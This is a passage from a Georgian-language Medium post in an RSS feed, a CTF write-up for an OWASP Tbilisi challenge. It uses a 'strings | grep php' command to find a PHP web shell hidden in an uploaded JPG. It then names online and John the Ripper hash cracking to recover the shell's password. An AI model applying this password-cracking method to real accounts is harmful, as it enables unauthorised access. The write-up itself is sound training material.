src="https://cdn-images-1.medium.com/max/1024/1*rMWbJvGNcBS2156yzu4v8A.png" /></figure><p>ე.ი. შემტევს შეეძლო <strong>php shell-</strong>ი აეტვირთა როგორც ფოტო, შეგვიძლია მარტივად გავფილტროთ, თუ ფოტო შეიცავს სიტყვა <strong>php</strong>-ს გამოვიტანოთ შედეგი:</p><blockquote><strong>strings *.jpg | grep php *</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xWumsDoXt0LmgcjtrLtpDA.png" /></figure><p>რის შედეგადაც ნათელი ხდება, რომ ფაილი, <strong>403.jpg</strong> შეიცავს <strong>PHP Shell</strong>-ს, შემდეგ კითხვის პასუხიც გავიგეთ. დაგვჩა პაროლის დეშიფრაცია, რაც მარტივად შეგვიძლია ონლაინ <a href="https://hashkiller.co.uk/Cracker/SHA1"><strong>hashkiller.co.uk</strong></a> ის გამოყენებით, ან თუ სურვილი გაქვთ <a href="https://github.com/magnumripper/JohnTheRipper"><strong>JohnTheRipper</strong></a> -ის გამოყენებაც შეგიძლიათ.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*ifr_lounYCTQ2iyTmGpwmw.png" /></figure><p>პაროლიც გავიგეთ — Hack3r.</p><p>მადლობა პოსტის წაკითხვისთვის ;დ, გავითვალისწინებ ნებისმიერ რჩევას და შენიშვნას.</p><p><strong>Follow me, for future posts ❤ .</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a4d56e92acb5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ka-ge/owasp-tbilisi-ctf-a4d56e92acb5">OWASP Tbilisi — CTF</a> was originally published in <a href="https://medium.com/ka-ge">ka_GE</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>